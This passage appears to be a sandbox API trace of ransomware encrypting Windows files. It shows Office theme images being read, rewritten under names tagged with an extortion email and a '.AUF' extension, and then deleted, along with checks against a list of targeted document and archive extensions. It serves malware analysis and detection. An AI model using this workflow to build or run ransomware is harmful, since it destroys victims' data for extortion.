lpNumberOfBytesWritten=0x23dfc9c*=0x3b0, lpOverlapped=0x0) returned 1 [0213.841] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0213.841] WriteFile (in: hFile=0x1e4, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xea, lpOverlapped=0x0) returned 1 [0213.841] SetEndOfFile (hFile=0x1e4) returned 1 [0213.842] CloseHandle (hObject=0x1e4) returned 1 [0213.842] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.842] SetEndOfFile (hFile=0x1f0) returned 1 [0213.842] CloseHandle (hObject=0x1f0) returned 1 [0213.842] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.843] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\preview.gif")) returned 1 [0213.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0213.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0213.843] lstrlenW (lpString=".doc") returned 4 [0213.843] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.843] lstrlenW (lpString=".docx") returned 5 [0213.843] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.843] lstrlenW (lpString=".pdf") returned 4 [0213.843] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.843] lstrlenW (lpString=".xls") returned 4 [0213.843] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.843] lstrlenW (lpString=".xlsx") returned 5 [0213.843] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.843] lstrlenW (lpString=".ppt") returned 4 [0213.843] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0213.843] lstrlenW (lpString=".zip") returned 4 [0213.843] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.843] lstrlenW (lpString=".rar") returned 4 [0213.843] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.843] lstrlenW (lpString=".bz2") returned 4 [0213.843] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.843] lstrlenW (lpString=".7z") returned 3 [0213.843] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0213.843] lstrlenW (lpString=".dbf") returned 4 [0213.843] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0213.843] lstrlenW (lpString=".1cd") returned 4 [0213.843] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.843] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0213.843] lstrlenW (lpString=".jpg") returned 4 [0213.844] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0213.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0213.844] lstrlenW (lpString=".doc") returned 4 [0213.844] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0213.844] lstrlenW (lpString=".docx") returned 5 [0213.844] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0213.844] lstrlenW (lpString=".pdf") returned 4 [0213.844] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0213.844] lstrlenW (lpString=".xls") returned 4 [0213.844] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0213.844] lstrlenW (lpString=".xlsx") returned 5 [0213.844] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0213.844] lstrlenW (lpString=".ppt") returned 4 [0213.844] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0213.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0213.844] lstrlenW (lpString=".zip") returned 4 [0213.844] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0213.844] lstrlenW (lpString=".rar") returned 4 [0213.844] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0213.844] lstrlenW (lpString=".bz2") returned 4 [0213.844] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0213.844] lstrlenW (lpString=".7z") returned 3 [0213.844] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0213.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0213.844] lstrlenW (lpString=".dbf") returned 4 [0213.844] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0213.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0213.844] lstrlenW (lpString=".1cd") returned 4 [0213.844] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0213.844] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\PREVIEW.GIF") returned 71 [0213.844] lstrlenW (lpString=".jpg") returned 4 [0213.844] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0213.844] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0213.844] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0213.844] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.845] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=29305) returned 1 [0213.845] CloseHandle (hObject=0x1f0) returned 1 [0213.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 0x20 [0213.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.845] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.845] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.845] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0213.845] GetLastError () returned 0x0 [0213.845] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x7279, lpOverlapped=0x0) returned 1 [0213.900] WriteFile (in: hFile=0x1e4, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x7280, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x7280, lpOverlapped=0x0) returned 1 [0213.901] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0213.901] WriteFile (in: hFile=0x1e4, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0213.901] SetEndOfFile (hFile=0x1e4) returned 1 [0213.901] CloseHandle (hObject=0x1e4) returned 1 [0213.901] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.901] SetEndOfFile (hFile=0x1f0) returned 1 [0213.902] CloseHandle (hObject=0x1f0) returned 1 [0213.902] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.902] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sky\\thmbnail.png")) returned 1 [0213.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0213.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0213.902] lstrlenW (lpString=".doc") returned 4 [0213.902] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.902] lstrlenW (lpString=".docx") returned 5 [0213.902] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.902] lstrlenW (lpString=".pdf") returned 4 [0213.902] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.902] lstrlenW (lpString=".xls") returned 4 [0213.902] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.902] lstrlenW (lpString=".xlsx") returned 5 [0213.902] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.902] lstrlenW (lpString=".ppt") returned 4 [0213.902] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0213.902] lstrlenW (lpString=".zip") returned 4 [0213.902] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.902] lstrlenW (lpString=".rar") returned 4 [0213.903] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.903] lstrlenW (lpString=".bz2") returned 4 [0213.903] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.903] lstrlenW (lpString=".7z") returned 3 [0213.903] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0213.903] lstrlenW (lpString=".dbf") returned 4 [0213.903] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0213.903] lstrlenW (lpString=".1cd") returned 4 [0213.903] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0213.903] lstrlenW (lpString=".jpg") returned 4 [0213.903] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0213.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0213.903] lstrlenW (lpString=".doc") returned 4 [0213.903] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.903] lstrlenW (lpString=".docx") returned 5 [0213.903] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.903] lstrlenW (lpString=".pdf") returned 4 [0213.903] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.903] lstrlenW (lpString=".xls") returned 4 [0213.903] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.903] lstrlenW (lpString=".xlsx") returned 5 [0213.903] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.903] lstrlenW (lpString=".ppt") returned 4 [0213.903] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0213.903] lstrlenW (lpString=".zip") returned 4 [0213.903] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.903] lstrlenW (lpString=".rar") returned 4 [0213.903] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.903] lstrlenW (lpString=".bz2") returned 4 [0213.903] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.903] lstrlenW (lpString=".7z") returned 3 [0213.903] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0213.903] lstrlenW (lpString=".dbf") returned 4 [0213.903] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0213.903] lstrlenW (lpString=".1cd") returned 4 [0213.903] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SKY\\THMBNAIL.PNG") returned 72 [0213.903] lstrlenW (lpString=".jpg") returned 4 [0213.903] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.904] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0213.904] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0213.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.904] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=27177) returned 1 [0213.904] CloseHandle (hObject=0x1f0) returned 1 [0213.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 0x20 [0213.904] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.904] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.904] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.904] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0213.904] GetLastError () returned 0x0 [0213.904] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x6a29, lpOverlapped=0x0) returned 1 [0213.920] WriteFile (in: hFile=0x1e4, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x6a30, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0x6a30, lpOverlapped=0x0) returned 1 [0213.921] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x0, lpOverlapped=0x0) returned 1 [0213.921] WriteFile (in: hFile=0x1e4, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x23dfc9c, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesWritten=0x23dfc9c*=0xec, lpOverlapped=0x0) returned 1 [0213.921] SetEndOfFile (hFile=0x1e4) returned 1 [0213.921] CloseHandle (hObject=0x1e4) returned 1 [0213.921] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.921] SetEndOfFile (hFile=0x1f0) returned 1 [0213.922] CloseHandle (hObject=0x1f0) returned 1 [0213.922] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0213.922] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 1 [0213.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0213.922] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0213.922] lstrlenW (lpString=".doc") returned 4 [0213.922] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.922] lstrlenW (lpString=".docx") returned 5 [0213.922] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.922] lstrlenW (lpString=".pdf") returned 4 [0213.923] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.923] lstrlenW (lpString=".xls") returned 4 [0213.923] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.923] lstrlenW (lpString=".xlsx") returned 5 [0213.923] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.923] lstrlenW (lpString=".ppt") returned 4 [0213.923] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0213.923] lstrlenW (lpString=".zip") returned 4 [0213.923] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.923] lstrlenW (lpString=".rar") returned 4 [0213.923] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.923] lstrlenW (lpString=".bz2") returned 4 [0213.923] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.923] lstrlenW (lpString=".7z") returned 3 [0213.923] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0213.923] lstrlenW (lpString=".dbf") returned 4 [0213.923] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0213.923] lstrlenW (lpString=".1cd") returned 4 [0213.923] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0213.923] lstrlenW (lpString=".jpg") returned 4 [0213.923] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0213.923] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0213.923] lstrlenW (lpString=".doc") returned 4 [0213.923] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0213.923] lstrlenW (lpString=".docx") returned 5 [0213.923] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0213.923] lstrlenW (lpString=".pdf") returned 4 [0213.923] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0213.923] lstrlenW (lpString=".xls") returned 4 [0213.923] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0213.923] lstrlenW (lpString=".xlsx") returned 5 [0213.923] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0213.923] lstrlenW (lpString=".ppt") returned 4 [0213.924] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0213.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0213.924] lstrlenW (lpString=".zip") returned 4 [0213.924] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0213.924] lstrlenW (lpString=".rar") returned 4 [0213.924] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0213.924] lstrlenW (lpString=".bz2") returned 4 [0213.924] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0213.924] lstrlenW (lpString=".7z") returned 3 [0213.924] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0213.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0213.924] lstrlenW (lpString=".dbf") returned 4 [0213.924] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0213.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0213.924] lstrlenW (lpString=".1cd") returned 4 [0213.924] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0213.924] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0213.924] lstrlenW (lpString=".jpg") returned 4 [0213.924] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0213.924] lstrcmpiW (lpString1=".PNG", lpString2=".AUF") returned 1 [0213.924] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0213.924] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.925] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x23dff1c | out: lpFileSize=0x23dff1c*=21812) returned 1 [0213.925] CloseHandle (hObject=0x1f0) returned 1 [0213.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png")) returned 0x20 [0213.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0213.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0213.925] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.925] SetFilePointerEx (in: hFile=0x1f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x23dfec8 | out: lpNewFilePointer=0x0) returned 1 [0213.925] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SONORA\\THMBNAIL.PNG.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sonora\\thmbnail.png.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0213.925] GetLastError () returned 0x0 [0213.925] ReadFile (in: hFile=0x1f0, lpBuffer=0x35e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x23dfed4, lpOverlapped=0x0 | out: lpBuffer=0x35e0020*, lpNumberOfBytesRead=0x23dfed4*=0x5534, lpOverlapped=0x0) returned 1 [0213.970] WriteFile (in: hFile=0x1e4, lpBuffer=0x35e0020*, nNumberOfBytesToWrite=0x5540, lpNumberOfBytesWritten=0x23dfc9c, 